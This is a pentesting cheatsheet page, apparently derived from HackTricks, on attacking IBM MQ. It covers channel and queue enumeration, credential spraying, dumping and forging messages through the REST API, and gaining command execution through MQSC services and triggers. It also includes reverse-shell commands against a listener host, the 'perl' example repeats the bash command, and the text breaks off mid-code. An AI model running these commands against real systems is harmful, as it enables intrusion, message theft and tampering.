daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

1414-pentesting-ibmmq.md (33969B)


      1 ---
      2 title: "1414 - Pentesting IBM MQ"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/1414-pentesting-ibmmq.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/1414-pentesting-ibmmq.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # 1414 - Pentesting IBM MQ
     14 
     15 ## Basic information
     16 
     17 IBM MQ is messaging middleware built around queue managers, queues, topics, channels, and related objects. It receives, stores, and forwards messages between producing and consuming applications; business processing and classification are normally performed by the connected applications or configured routing components.<sup>[[3]](#references)</sup>
     18 
     19 IBM MQ examples and developer images commonly expose a queue-manager listener on TCP **1414**, but listener ports are configurable. When `mqweb` is enabled, the Console and REST APIs commonly use HTTPS **9443**. The IBM MQ container's optional Prometheus metrics endpoint commonly uses TCP **9157**; this is not a universal queue-manager protocol port.<sup>[[3]](#references)[[7]](#references)</sup>
     20 
     21 What a client can do through an MQ listener depends on the selected `SVRCONN` channel, CHLAUTH mapping, authentication, and Object Authority Manager (OAM) permissions. A highly privileged identity may manipulate messages and administer queue-manager objects; an ordinary application identity should be much more restricted.
     22 
     23 IBM provides a large technical documentation available on [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).<sup>[[3]](#references)</sup>
     24 
     25 ## Tools
     26 
     27 A convenient assessment tool is **[punch-q](https://github.com/sensepost/punch-q)**, which uses the Python `pymqi` library and can also run from Docker.<sup>[[11]](#references)</sup>
     28 
     29 For a more manual approach, use the Python library **[pymqi](https://github.com/dsuch/pymqi)**. [IBM MQ dependencies](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) are needed.
     30 
     31 ### Installing pymqi
     32 
     33 The following procedure is a **legacy IBM MQ 9.0.0.4 installation recipe** retained for reproducing older tooling environments. Prefer a current supported redistributable IBM MQ client for new labs; it is relocatable and does not require a system RPM installation.<sup>[[10]](#references)</sup>
     34 
     35 1. Create an account (IBMid) on [https://login.ibm.com/](https://login.ibm.com/).
     36 2. Download IBM MQ libraries from [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). For Linux x86_64 it is **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
     37 3. Decompress (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
     38 4. Run `sudo ./mqlicense.sh` to accept licenses terms.
     39 
     40 > [!CAUTION]
     41 > The historical workaround below disables the package's platform check. Use it only in a disposable lab with the matching archived package; for a normal system, use a supported client package instead.
     42 >
     43 > On the old Kali setup, the workaround was to modify `mqlicense.sh` and remove/comment these lines:
     44 >
     45 > ```bash
     46 > if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
     47 > then
     48 >   echo "ERROR: This package is incompatible with this system"
     49 >   echo "       This package was built for ${BUILD_PLATFORM}"
     50 >   exit 1
     51 > fi
     52 > ```
     53 
     54 5. Install these packages:
     55 
     56 ```bash
     57 sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
     58 sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
     59 sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
     60 ```
     61 
     62 6. Temporarily add the client shared libraries to the loader path before running dependent tools: `export LD_LIBRARY_PATH=/opt/mqm/lib64`.
     63 
     64 Then, you can clone the project [**pymqi**](https://github.com/dsuch/pymqi): it contains interesting code snippets, constants, ... Or you can directly install the library with: `pip install pymqi`.
     65 
     66 ### Using punch-q
     67 
     68 #### With Docker
     69 
     70 Simply use: `sudo docker run --rm -ti leonjza/punch-q`.
     71 
     72 #### Without Docker
     73 
     74 Clone the project [**punch-q**](https://github.com/sensepost/punch-q) then follow the readme for installation (`pip install -r requirements.txt && python3 setup.py install`).
     75 
     76 After, it can be used with `punch-q` command.
     77 
     78 ## Enumeration
     79 
     80 You can try to enumerate the **queue manager name, the users, the channels and the queues** with **punch-q** or **pymqi**.<sup>[[1]](#references)</sup>
     81 
     82 If TCP/1414 is filtered or the target only exposes the embedded web server, check **TCP/9443** too. Recent IBM MQ versions expose the **IBM MQ Console / REST API** there by default when `mqweb` is enabled, and the administrative REST endpoint can execute arbitrary **MQSC** commands if you have valid credentials.<sup>[[3]](#references)</sup>
     83 
     84 Do not assume that every successful `mqweb` login unlocks the same surface. In IBM MQ, `MQWebAdmin` / `MQWebAdminRO` cover the **administrative** REST API, but the **messaging** REST API requires `MQWebUser` plus the underlying OAM rights on queues or topics. Also, from **9.4.0**, `mqweb` can run as a **stand-alone IBM MQ Web Server** on Linux: in that deployment the **messaging** REST API can still front remote queue managers while the **administrative** REST API is unavailable. Therefore, a dead or missing `/admin/` path does **not** mean `/messaging/` is absent.<sup>[[3]](#references)</sup>
     85 
     86 Do not limit yourself to the administrative REST API. IBM also exposes a **messaging REST API** on the same listener, so valid `mqweb` credentials can be enough to:<sup>[[5]](#references)</sup>
     87 
     88 - **browse** messages from a queue with `GET /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message`
     89 - **destructively get** messages with `DELETE /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message`
     90 - **put** attacker-controlled messages with `POST /ibmmq/rest/v3/messaging/qmgr/<qmgr>/queue/<queue>/message`
     91 
     92 That matters in real environments where **1414** is ACL-restricted but the web console on **9443** is reachable from jump hosts, VPN ranges, or Kubernetes ingress.
     93 
     94 ### Queue Manager
     95 
     96 Sometimes, there is no protection against getting the Queue Manager name:
     97 
     98 ```bash
     99 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
    100 Queue Manager name: MYQUEUEMGR
    101 ```
    102 
    103 ### Channels
    104 
    105 **punch-q** is using an internal (modifiable) wordlist to find existing channels. Usage example:
    106 
    107 ```bash
    108 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
    109 "DEV.ADMIN.SVRCONN" exists and was authorised.
    110 "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
    111 "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
    112 ```
    113 
    114 Some IBM MQ instances or developer channels accept connections without an application-supplied username/password; in that case omit the credential options. The channel can still map the connection to a local identity, and OAM rights determine subsequent access.
    115 
    116 As soon as we get one channel name (here: `DEV.ADMIN.SVRCONN`), we can enumerate all other channels.<sup>[[2]](#references)</sup>
    117 
    118 The enumeration can basically be done with this code snippet `code/examples/dis_channels.py` from **pymqi**:
    119 
    120 ```python
    121 import logging
    122 import pymqi
    123 
    124 logging.basicConfig(level=logging.INFO)
    125 
    126 queue_manager = 'MYQUEUEMGR'
    127 channel = 'DEV.ADMIN.SVRCONN'
    128 host = '172.17.0.2'
    129 port = '1414'
    130 conn_info = '%s(%s)' % (host, port)
    131 user = 'admin'
    132 password = 'passw0rd'
    133 
    134 prefix = '*'
    135 
    136 args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
    137 
    138 qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
    139 pcf = pymqi.PCFExecute(qmgr)
    140 
    141 try:
    142     response = pcf.MQCMD_INQUIRE_CHANNEL(args)
    143 except pymqi.MQMIError as e:
    144     if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
    145         logging.info('No channels matched prefix `%s`' % prefix)
    146     else:
    147         raise
    148 else:
    149     for channel_info in response:
    150         channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
    151         logging.info('Found channel `%s`' % channel_name)
    152 
    153 qmgr.disconnect()
    154 
    155 ```
    156 
    157 ... But **punch-q** also embed that part (with more infos!).
    158 It can be launch with:
    159 
    160 ```bash
    161 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
    162 Showing channels with prefix: "*"...
    163 
    164 | Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
    165 |----------------------|-------------------|---------|-----------|------------|-----------------|------------|
    166 | DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
    167 | DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
    168 | SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
    169 | SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
    170 | SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
    171 | SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
    172 | SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
    173 | SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
    174 | SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
    175 | SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
    176 | SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
    177 | SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
    178 | SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |
    179 ```
    180 
    181 ### Users / password spraying
    182 
    183 Once you know a valid `SVRCONN` channel, **punch-q** has a `discover users` mode for testing candidate IBM MQ credentials against that channel. This can lock accounts or trigger monitoring, so use a small approved candidate set and honor the target's rate/lockout policy.
    184 
    185 ```bash
    186 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover users --channel DEV.ADMIN.SVRCONN
    187 ```
    188 
    189 IBM MQ can validate supplied identities against the local operating system or LDAP, and applications may also present service-account credentials. When choosing an explicitly approved candidate set, include documented operating-system, directory, and service-account credentials that may have been reused for MQ; do not assume reuse.<sup>[[12]](#references)</sup>
    190 
    191 A TLS error instead of authorization reason code `2035` can indicate that the candidate channel exists but requires a compatible `SSLCIPH` and possibly client-certificate material. Corroborate this because gateways can normalize errors.
    192 
    193 If the channel list shows a non-empty **SSL Cipher**, or `punch-q` says a channel "wants SSL", shift to **client-artifact looting** instead of blind spraying. IBM MQ clients can inherit channel and TLS settings from a **CCDT** (`AMQCLCHL.TAB` or JSON), `mqclient.ini`, and a key repository. Hunt for `MQCCDTURL`, `MQCHLLIB`, `MQCHLTAB`, `mqclient.ini`, `*.kdb`, `*.sth`, and `*.p12` files in application servers, CI jobs, containers, or Kubernetes Secrets. Recent IBM MQ versions also support **HTTPS-hosted CCDTs**, so a leaked `MQCCDTURL=https://...` can be enough to recover queue-manager names, channel names, hosts, ports, and TLS requirements without first touching the MQ server itself.
    194 
    195 ### CHLAUTH / OAM recon
    196 
    197 A lot of "it connects but returns `2035`" cases are caused by **CHLAUTH** rules or by missing **OAM** permissions on the target objects.
    198 
    199 If you already have administrative MQSC access, `MATCH(RUNCHECK)` is the fastest way to understand which rule will be applied to a remote connection:
    200 
    201 ```bash
    202 echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
    203   | runmqsc MYQUEUEMGR
    204 ```
    205 
    206 Through the REST admin endpoint on `9443`, the same check can be done remotely:
    207 
    208 ```bash
    209 curl -sku 'admin:passw0rd' \
    210   -H 'ibm-mq-rest-csrf-token: anything' \
    211   -H 'Content-Type: text/plain;charset=utf-8' \
    212   --data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
    213   https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
    214 ```
    215 
    216 If you have enough rights to use PCF remotely, IBM exposes `MQCMD_INQUIRE_CHLAUTH_RECS`, which returns the channel authentication records and their mappings to `MCAUSER`. That is useful to confirm whether a channel maps remote users to a more privileged local account before trying message access, object creation, or service abuse.
    217 
    218 ### Effective authorities
    219 
    220 Once you have a working identity, spend a minute checking **what that principal can really do** before assuming a failed PCF request means "wrong credentials". IBM documents three complementary ways to inspect OAM permissions:<sup>[[3]](#references)</sup>
    221 
    222 - `DISPLAY AUTHREC` over MQSC
    223 - `dspmqaut` on the host
    224 - `MQCMD_INQUIRE_ENTITY_AUTH` over PCF
    225 
    226 The practical offensive value is high because many remote-admin actions depend on a small set of system objects. For example, PCF administration usually needs the ability to put a command onto `SYSTEM.ADMIN.COMMAND.QUEUE` and to create/read the dynamic reply queue derived from `SYSTEM.DEFAULT.MODEL.QUEUE`.
    227 
    228 With MQSC access:
    229 
    230 ```bash
    231 echo "DISPLAY AUTHREC PROFILE(SYSTEM.ADMIN.COMMAND.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \
    232   | runmqsc MYQUEUEMGR
    233 
    234 echo "DISPLAY AUTHREC PROFILE(SYSTEM.DEFAULT.MODEL.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \
    235   | runmqsc MYQUEUEMGR
    236 ```
    237 
    238 Via the REST admin endpoint:
    239 
    240 ```bash
    241 curl -sku 'admin:passw0rd' \
    242   -H 'ibm-mq-rest-csrf-token: anything' \
    243   -H 'Content-Type: text/plain;charset=utf-8' \
    244   --data "DISPLAY AUTHREC PROFILE(SYSTEM.ADMIN.COMMAND.QUEUE) OBJTYPE(QUEUE) PRINCIPAL('app')" \
    245   https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
    246 ```
    247 
    248 If you later obtain shell access on the MQ host, `dspmqaut` gives the same answer without going through MQSC:
    249 
    250 ```bash
    251 dspmqaut -m MYQUEUEMGR -t queue -n SYSTEM.ADMIN.COMMAND.QUEUE -p app
    252 dspmqaut -m MYQUEUEMGR -t queue -n SYSTEM.DEFAULT.MODEL.QUEUE -p app
    253 ```
    254 
    255 ### Queues
    256 
    257 There is a code snippet with **pymqi** (`dis_queues.py`) but **punch-q** permits to retrieve more pieces of info about the queues:
    258 
    259 ```bash
    260  ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
    261 Showing queues with prefix: "*"...
    262 | Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
    263 |           |                      |        |         |        | GR Name | eue Nam |                                   |
    264 |           |                      |        |         |        |         | e       |                                   |
    265 |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
    266 | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
    267 | 0 18.35.1 | E                    |        |         |        |         |         |                                   |
    268 | 9         |                      |        |         |        |         |         |                                   |
    269 | 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
    270 | 0 18.35.1 |                      |        |         |        |         |         |                                   |
    271 | 9         |                      |        |         |        |         |         |                                   |
    272 | 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
    273 | 0 18.35.1 |                      |        |         |        |         |         |                                   |
    274 | 9         |                      |        |         |        |         |         |                                   |
    275 | 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
    276 | 0 18.35.1 |                      |        |         |        |         |         |                                   |
    277 | 9         |                      |        |         |        |         |         |                                   |
    278 # Truncated
    279 ```
    280 
    281 ### Topics / subscriptions
    282 
    283 IBM MQ also supports publish/subscribe. With administrative rights, an **administrative subscription** can route publications matching a topic string into a destination queue for later inspection.<sup>[[8]](#references)</sup>
    284 
    285 > [!CAUTION]
    286 > Defining a queue/subscription changes queue-manager state and may capture sensitive production traffic. Use the following commands only in an authorized lab or with explicit approval and remove the created objects afterward.
    287 
    288 Quick recon examples:
    289 
    290 ```bash
    291 echo "DISPLAY TOPIC(*) TOPICSTR" | runmqsc MYQUEUEMGR
    292 echo "DISPLAY SUB(*) ALL" | runmqsc MYQUEUEMGR
    293 ```
    294 
    295 Create a queue and durable wildcard subscription for a whole topic tree:
    296 
    297 ```bash
    298 echo "DEFINE QLOCAL(HACK.SUBQ) REPLACE" | runmqsc MYQUEUEMGR
    299 echo "DEFINE SUB(HACK.SUB) TOPICSTR('dev/#') DEST(HACK.SUBQ) DESTCLAS(PROVIDED) WSCHEMA(TOPIC) REPLACE" | runmqsc MYQUEUEMGR
    300 ```
    301 
    302 From there, matching publications arrive on `HACK.SUBQ` like ordinary queue messages. If `1414` is blocked but the admin REST API on `9443` is reachable, the same MQSC can be sent through `/ibmmq/rest/v3/admin/action/qmgr/<qmgr>/mqsc`. Application `pub`/`sub` rights alone do not normally grant authority to define administrative objects.
    303 
    304 ## Exploit
    305 
    306 ### Dump messages
    307 
    308 You can target queue(s)/channel(s) to sniff out / dump messages from them (non-destructive operation).<sup>[[1]](#references)</sup> _Examples:_
    309 
    310 ```bash
    311 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
    312 ```
    313 
    314 ```bash
    315 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
    316 ```
    317 
    318 Assess every in-scope queue, but use browse/non-destructive operations first and avoid consuming production messages.
    319 
    320 ### Dump / put messages through `9443`
    321 
    322 If you only have access to the embedded web server, the **messaging REST API** can still be enough to browse, steal, replay, or delete business messages without touching the MQ client port.<sup>[[5]](#references)</sup>
    323 
    324 Browse the next message non-destructively:
    325 
    326 ```bash
    327 curl -sku 'app:passw0rd' \
    328   https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message
    329 ```
    330 
    331 Destructively get the next message:
    332 
    333 ```bash
    334 curl -sku 'app:passw0rd' \
    335   -X DELETE \
    336   -H 'ibm-mq-rest-csrf-token: anything' \
    337   https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message
    338 ```
    339 
    340 Inject a forged message:
    341 
    342 ```bash
    343 curl -sku 'app:passw0rd' \
    344   -X POST \
    345   -H 'ibm-mq-rest-csrf-token: anything' \
    346   -H 'Content-Type: text/plain;charset=utf-8' \
    347   --data 'hacktricks-test' \
    348   https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/queue/DEV.QUEUE.1/message
    349 ```
    350 
    351 This is useful when:
    352 
    353 - `1414` is not reachable from your workstation
    354 - the environment routes the MQ Console through a reverse proxy or ingress controller
    355 - you want to validate **message tampering** separately from **administrative** rights
    356 
    357 The same listener can also publish directly to a **topic string**, which is useful when the target application consumes pub/sub messages instead of local queues:<sup>[[5]](#references)</sup>
    358 
    359 ```bash
    360 curl -sku 'app:passw0rd' \
    361   -X POST \
    362   -H 'ibm-mq-rest-csrf-token: anything' \
    363   -H 'Content-Type: text/plain;charset=utf-8' \
    364   --data 'approved=true' \
    365   https://TARGET:9443/ibmmq/rest/v3/messaging/qmgr/MYQUEUEMGR/topic/dev/orders/message
    366 ```
    367 
    368 ### Code execution
    369 
    370 > Some details before continuing: IBM MQ can be controlled though multiple ways: MQSC, PCF, Control Command. Some general lists can be found in [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).  
    371 > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Programmable Command Formats_**) is what we are focused on to interact remotely with the instance. **punch-q** and furthermore **pymqi** are based on PCF interactions.
    372 >
    373 > You can find a list of PCF commands:
    374 >
    375 > - [From PCF documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), and
    376 > - [from constants](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
    377 >
    378 > One interesting command is `MQCMD_CREATE_SERVICE` and its documentation is available [here](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). It takes as argument a `StartCommand` pointing to a local program on the instance (example: `/bin/sh`).
    379 >
    380 > There is also a warning of the command in the docs: _"Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files."_
    381 >
    382 > IBM MQ also exposes an HTTP endpoint at `/admin/action/qmgr/{qmgrName}/mqsc` for equivalent MQSC commands such as `DEFINE SERVICE`; the REST workflow is shown below.
    383 
    384 If **MQ Console / REST API** credentials are available, you can often reach the same administrative primitives over HTTPS on **9443** without using the MQ client libraries. IBM documents `/ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc` as an endpoint that accepts **plain-text MQSC** or **JSON** commands.<sup>[[4]](#references)</sup>
    385 
    386 The service creation / deletion with PCF for remote program execution can be done by **punch-q**:
    387 
    388 **Example 1**
    389 
    390 ```bash
    391 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
    392 ```
    393 
    394 > In the logs of IBM MQ, you can read the command is successfully executed:
    395 >
    396 > ```bash
    397 > 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
    398 > ```
    399 
    400 You can also enumerate existing programs on the machine (here `/bin/doesnotexist` ... does not exist):
    401 
    402 ```bash
    403 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
    404 s "whatever"
    405 Command: /bin/doesnotexist
    406 Arguments: -c id
    407 Service Name: 6e3ef5af652b4436
    408 
    409 Creating service...
    410 Starting service...
    411 The program '/bin/doesnotexist' is not available on the remote system.
    412 Giving the service 0 second(s) to live...
    413 Cleaning up service...
    414 Done
    415 ```
    416 
    417 Program launch is asynchronous, so observe its effect through an approved side channel such as a harmless file in a lab, application logs, or a controlled callback listener.
    418 
    419 The same technique can be driven from the REST API:
    420 
    421 ```bash
    422 curl -sku 'admin:passw0rd' \
    423   -H 'ibm-mq-rest-csrf-token: anything' \
    424   -H 'Content-Type: text/plain;charset=utf-8' \
    425   --data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
    426   https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
    427 
    428 curl -sku 'admin:passw0rd' \
    429   -H 'ibm-mq-rest-csrf-token: anything' \
    430   -H 'Content-Type: text/plain;charset=utf-8' \
    431   --data "START SERVICE(HACKTRICKS)" \
    432   https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
    433 
    434 curl -sku 'admin:passw0rd' \
    435   -H 'ibm-mq-rest-csrf-token: anything' \
    436   -H 'Content-Type: text/plain;charset=utf-8' \
    437   --data "DELETE SERVICE(HACKTRICKS)" \
    438   https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
    439 ```
    440 
    441 This is especially useful during assessments where:
    442 
    443 - `9443` is reachable but `1414` is restricted to a smaller source range
    444 - The target team manages IBM MQ mainly through the web console and has forgotten to harden the REST roles
    445 - You want to avoid installing IBM MQ client libraries locally and only need MQSC-level administration
    446 
    447 If the environment uses **token-based** authentication instead of HTTP Basic, IBM's `mqweb` login endpoint returns an **`LtpaToken2`** cookie that can be replayed on later requests until it expires (120 minutes by default). That means a stolen browser session or cookie jar can be enough for both message access and admin actions on `9443`.<sup>[[6]](#references)</sup>
    448 
    449 ```bash
    450 curl -sk -c /tmp/mq.cookies \
    451   -H 'Content-Type: application/json' \
    452   --data '{"username":"admin","password":"passw0rd"}' \
    453   https://TARGET:9443/ibmmq/rest/v3/login
    454 
    455 curl -sk -b /tmp/mq.cookies \
    456   -H 'ibm-mq-rest-csrf-token: anything' \
    457   -H 'Content-Type: text/plain;charset=utf-8' \
    458   --data "DISPLAY QMGR ALL" \
    459   https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc
    460 ```
    461 
    462 ### Trigger-based program launch
    463 
    464 `DEFINE SERVICE` is not the only path to code execution. IBM MQ **triggering** can start an application when a message lands on a queue, so environments that already rely on trigger monitors can sometimes be abused by swapping the `PROCESS` object tied to a triggered queue.<sup>[[9]](#references)</sup>
    465 
    466 Start with recon:
    467 
    468 ```bash
    469 echo "DISPLAY QLOCAL(*) INITQ PROCESS TRIGGER TRIGTYPE" | runmqsc MYQUEUEMGR
    470 echo "DISPLAY PROCESS(*) APPLICID APPLTYPE USERDATA" | runmqsc MYQUEUEMGR
    471 ```
    472 
    473 If you find a queue with a live `INITQ`, the following lab sequence demonstrates the risk of replacing its process association:
    474 
    475 > [!CAUTION]
    476 > `ALTER QLOCAL` changes an existing application's behavior. Record the original attributes and run this only in a disposable lab or with explicit change approval; restore the queue and delete `HACKPROC` afterward.
    477 
    478 ```bash
    479 echo "DEFINE PROCESS(HACKPROC) REPLACE APPLTYPE(UNIX) APPLICID('/bin/sh') USERDATA('-c id >/tmp/mq.trigger')" | runmqsc MYQUEUEMGR
    480 echo "ALTER QLOCAL(APP.INPUT) PROCESS(HACKPROC) TRIGGER TRIGTYPE(FIRST)" | runmqsc MYQUEUEMGR
    481 ```
    482 
    483 Then put a message on `APP.INPUT` with **punch-q** or the messaging REST API to fire the trigger. This primitive depends on a **trigger monitor** actively serving the queue's `INITQ`; when it does, IBM documents that the triggered application runs under the user that started the trigger monitor (or the queue manager, depending on platform / setup).
    484 
    485 **Example 2**
    486 
    487 For easy reverse shell, **punch-q** proposes also two reverse shell payloads :
    488 
    489 - One with bash
    490 - One with perl
    491 
    492 _Of course you can build a custom one with the `execute` command._
    493 
    494 For bash:
    495 
    496 ```bash
    497 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
    498 ```
    499 
    500 For perl:
    501 
    502 ```bash
    503 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
    504 ```
    505 
    506 ### Custom PCF
    507 
    508 You can dig into the IBM MQ documentation and directly use **pymqi** python library to test specific PCF command not implemented in **punch-q**.
    509 
    510 **Example:**
    511 
    512 ```python
    513 import pymqi
    514 
    515 queue_manager = 'MYQUEUEMGR'
    516 channel = 'DEV.ADMIN.SVRCONN'
    517 host = '172.17.0.2'
    518 port = '1414'
    519 conn_info = '%s(%s)' % (host, port)
    520 user = 'admin'
    521 password = 'passw0rd'
    522 
    523 qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
    524 pcf = pymqi.PCFExecute(qmgr)
    525 
    526 try:
    527     # Replace here with your custom PCF args and command
    528     # The constants can be found in pymqi/code/pymqi/CMQCFC.py
    529     args = {pymqi.CMQCFC.xxxxx: "value"}
    530     response = pcf.MQCMD_CUSTOM_COMMAND(args)
    531 except pymqi.MQMIError as e:
    532     print("Error")
    533 else:
    534     # Process response
    535 
    536 qmgr.disconnect()
    537 
    538 ```
    539 
    540 If you cannot find the constant names, you can refer to the [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
    541 
    542 > _Example for [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimal = 73). It needs the parameter `MQCA_CLUSTER_NAME` (Decimal = 2029) which can be `_` (Doc: ):\*
    543 >
    544 > ```python
    545 > import pymqi
    546 >
    547 > queue_manager = 'MYQUEUEMGR'
    548 > channel = 'DEV.ADMIN.SVRCONN'
    549 > host = '172.17.0.2'
    550 > port = '1414'
    551 > conn_info = '%s(%s)' % (host, port)
    552 > user = 'admin'
